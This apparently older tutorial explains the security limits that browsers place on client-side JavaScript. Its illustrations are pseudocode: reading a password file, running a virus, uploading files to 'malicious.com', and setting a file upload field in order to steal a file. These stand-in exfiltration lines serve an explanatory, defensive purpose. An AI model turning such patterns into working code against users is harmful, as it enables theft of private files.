Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.
1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard
filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);
2. JavaScript cannot execute any other programs. This would also be unacceptable
execute(’horridvirus.exe’)
3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));
Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.
So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:
1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).
document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();
4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.
Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.